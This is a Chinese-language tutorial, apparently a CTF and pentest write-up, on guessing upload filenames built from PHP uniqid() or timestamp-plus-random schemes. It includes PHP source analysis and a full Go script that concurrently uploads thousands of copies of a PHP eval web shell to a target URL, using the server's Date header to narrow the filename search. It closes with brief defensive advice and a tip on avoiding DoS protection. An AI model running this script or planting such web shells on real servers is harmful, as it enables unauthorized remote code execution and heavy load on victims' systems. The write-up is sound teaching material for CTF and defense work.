一秒找出用时间和随机数生成的上传文件名
字数 1189 2025-08-18 11:37:03

高效定位时间+随机数生成的上传文件名技术详解

一、问题背景

在渗透测试或CTF比赛中,常遇到一种任意文件上传漏洞,上传后的文件名由时间加随机数生成。常见生成方式包括:

  • PHP的uniqid()函数
  • 时间戳或秒数+随机数字组合

传统暴力猜解方法(如HEAD请求遍历)面对百万级可能性时效率低下(1-2小时),需要更高效的解决方案。

二、技术原理分析

1. PHP uniqid()函数实现机制

通过分析PHP源码(uniqid.c)可知:

do {
    (void)gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
} while (tv.tv_sec == prev_tv.tv_sec && tv.tv_usec == prev_tv.tv_usec);

prev_tv.tv_sec = tv.tv_sec;
prev_tv.tv_usec = tv.tv_usec;
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000);

if (more_entropy) {
    uniqid = strpprintf(0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg() * 10);
} else {
    uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
}

文件名组成结构:

  • 前缀(如"image_")
  • 8位16进制秒数(固定部分)
  • 5位16进制微秒数(变化部分,模0x100000)
  • 可选额外熵值(当more_entropy为true时)

2. 文件名可能性计算

标准uniqid()生成的文件名:

  • 微秒部分变化范围:16^5 = 1,048,576种可能性
  • 每秒最多生成1,000,000个唯一ID(理论值)

三、高效解决方案

1. 核心思路:并发上传提高命中率

通过在一秒内上传多个文件:

  • 每个文件使用相同的秒数部分
  • 微秒部分自然变化
  • 相当于将百万级搜索空间压缩到千级

2. 技术实现细节

使用Go语言实现并发上传

package main

import (
    "bytes"
    "fmt"
    "log"
    "mime/multipart"
    "net/http"
    "os"
    "path/filepath"
    "time"
    "sync"
)

func newfileUploadRequest(uri string, params map[string]string, paramName, localfile string) (*http.Request, error) {
    payload := []byte(`<?php eval($_POST[c]);`)
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)
    part, err := writer.CreateFormFile(paramName, filepath.Base(localfile))
    if err != nil {
        return nil, err
    }
    part.Write(payload)
    
    for key, val := range params {
        _ = writer.WriteField(key, val)
    }
    err = writer.Close()
    if err != nil {
        return nil, err
    }
    
    req, err := http.NewRequest("POST", uri, body)
    if err != nil {
        return nil, err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    req.Header.Set("Connection", "close")
    return req, nil
}

var total int
var result map[int64]int

func main() {
    start := time.Now()
    filename := "file"
    filepath, _ := os.Getwd()
    filepath += "/shell.php"
    result = make(map[int64]int, 10)
    wg := &sync.WaitGroup{}
    lock := &sync.Mutex{}
    done := make(chan struct{}, 256) // 最大并发256
    
    for i := 0; i < 10000; i++ {
        done <- struct{}{}
        if i%64 == 0 {
            time.Sleep(10 * time.Millisecond)
        }
        wg.Add(1)
        go doUpload(filename, filepath, nil, wg, lock)
        <-done
    }
    wg.Wait()
    
    used := time.Since(start)
    fmt.Printf("[*] done.\n[*] %d file uploaded. time used: %.2f\n", total, used.Seconds())
    for sec, cnt := range result {
        fmt.Printf("[*] %08x : %d\n", sec, cnt)
    }
}

func doUpload(filename, filepath string, params map[string]string, wg *sync.WaitGroup, lock *sync.Mutex) {
    defer wg.Done()
    code, date, err := upload(filename, filepath, params)
    if err != nil {
        log.Println(err)
        return
    }
    if err == nil && code == 200 {
        lock.Lock()
        total++
        key := date.Unix()
        if cnt, has := result[key]; has {
            result[key] = cnt + 1
        } else {
            result[key] = 1
        }
        lock.Unlock()
    }
}

func upload(filename string, filepath string, params map[string]string) (code int, date time.Time, err error) {
    request, err := newfileUploadRequest("http://ctf/up.php", params, filename, filepath)
    if err != nil {
        log.Println(err)
        return
    }
    timeout := time.Duration(5 * time.Second)
    client := &http.Client{
        Timeout: timeout,
    }
    resp, err := client.Do(request)
    if err != nil {
        log.Println(err)
        return
    }
    code = resp.StatusCode
    datestring := resp.Header.Get("Date")
    if datestring != "" {
        loc, _ := time.LoadLocation("Asia/Shanghai")
        LongForm := `Mon, 02 Jan 2006 15:04:05 MST`
        date, _ = time.Parse(LongForm, datestring)
    }
    defer resp.Body.Close()
    return
}

关键优化点

  1. 并发控制

    • 使用sync.WaitGroup管理goroutine
    • 通过带缓冲的channel限制最大并发数(示例中为256)
    • 每64次上传后短暂休眠(10ms)防止过载
  2. 性能优化

    • 设置Connection: close头部避免连接复用限制
    • 将上传内容保存在内存中而非读取文件
    • 使用sync.Mutex保护共享数据
  3. 时间同步

    • 从服务器响应头获取Date字段确认秒数
    • 使用相同的时间格式解析

3. 实际效果

测试环境:

  • 本地:16G内存+i7 CPU笔记本+nginx+php7.0-fpm
  • VPS:300ms ping延迟

性能数据:

  • 本地:1秒内上传5700+文件,约956次请求找到结果(0.1秒)
  • VPS:1秒内上传1500文件
  • 搜索空间压缩:16^5/1500 ≈ 699个可能性

四、其他应用场景

该方法同样适用于以下文件名生成方式:

$newfile = date("dHis").rand(10000, 99999).$extension;

只需调整:

  1. 根据日期格式确定固定部分
  2. 针对随机数部分进行并发上传

五、注意事项

  1. 服务器限制

    • 注意目标服务器的并发连接限制
    • 避免触发DoS保护机制
  2. 网络优化

    • 设置/etc/hosts减少DNS查询
    • 考虑直接使用TCP socket可能更快
  3. 时间精度

    • 确保客户端与服务器时间同步
    • 处理可能的时区差异
  4. 结果验证

    • 成功上传后需要验证文件是否可访问
    • 可能需要结合目录遍历等技术确认上传位置

六、防御建议

针对此类攻击,服务器可采取以下防护措施:

  1. 使用更强的随机数生成算法
  2. 限制单IP上传频率
  3. 对上传文件进行重命名时加入用户特定信息(如session ID)
  4. 实施文件内容检查而非依赖文件名
高效定位时间+随机数生成的上传文件名技术详解 一、问题背景 在渗透测试或CTF比赛中,常遇到一种任意文件上传漏洞,上传后的文件名由时间加随机数生成。常见生成方式包括: PHP的 uniqid() 函数 时间戳或秒数+随机数字组合 传统暴力猜解方法(如HEAD请求遍历)面对百万级可能性时效率低下(1-2小时),需要更高效的解决方案。 二、技术原理分析 1. PHP uniqid()函数实现机制 通过分析PHP源码(uniqid.c)可知: 文件名组成结构: 前缀(如"image_ ") 8位16进制秒数(固定部分) 5位16进制微秒数(变化部分,模0x100000) 可选额外熵值(当more_ entropy为true时) 2. 文件名可能性计算 标准uniqid()生成的文件名: 微秒部分变化范围:16^5 = 1,048,576种可能性 每秒最多生成1,000,000个唯一ID(理论值) 三、高效解决方案 1. 核心思路:并发上传提高命中率 通过在一秒内上传多个文件: 每个文件使用相同的秒数部分 微秒部分自然变化 相当于将百万级搜索空间压缩到千级 2. 技术实现细节 使用Go语言实现并发上传 关键优化点 并发控制 : 使用sync.WaitGroup管理goroutine 通过带缓冲的channel限制最大并发数(示例中为256) 每64次上传后短暂休眠(10ms)防止过载 性能优化 : 设置 Connection: close 头部避免连接复用限制 将上传内容保存在内存中而非读取文件 使用sync.Mutex保护共享数据 时间同步 : 从服务器响应头获取Date字段确认秒数 使用相同的时间格式解析 3. 实际效果 测试环境: 本地:16G内存+i7 CPU笔记本+nginx+php7.0-fpm VPS:300ms ping延迟 性能数据: 本地:1秒内上传5700+文件,约956次请求找到结果(0.1秒) VPS:1秒内上传1500文件 搜索空间压缩:16^5/1500 ≈ 699个可能性 四、其他应用场景 该方法同样适用于以下文件名生成方式: 只需调整: 根据日期格式确定固定部分 针对随机数部分进行并发上传 五、注意事项 服务器限制 : 注意目标服务器的并发连接限制 避免触发DoS保护机制 网络优化 : 设置/etc/hosts减少DNS查询 考虑直接使用TCP socket可能更快 时间精度 : 确保客户端与服务器时间同步 处理可能的时区差异 结果验证 : 成功上传后需要验证文件是否可访问 可能需要结合目录遍历等技术确认上传位置 六、防御建议 针对此类攻击,服务器可采取以下防护措施: 使用更强的随机数生成算法 限制单IP上传频率 对上传文件进行重命名时加入用户特定信息(如session ID) 实施文件内容检查而非依赖文件名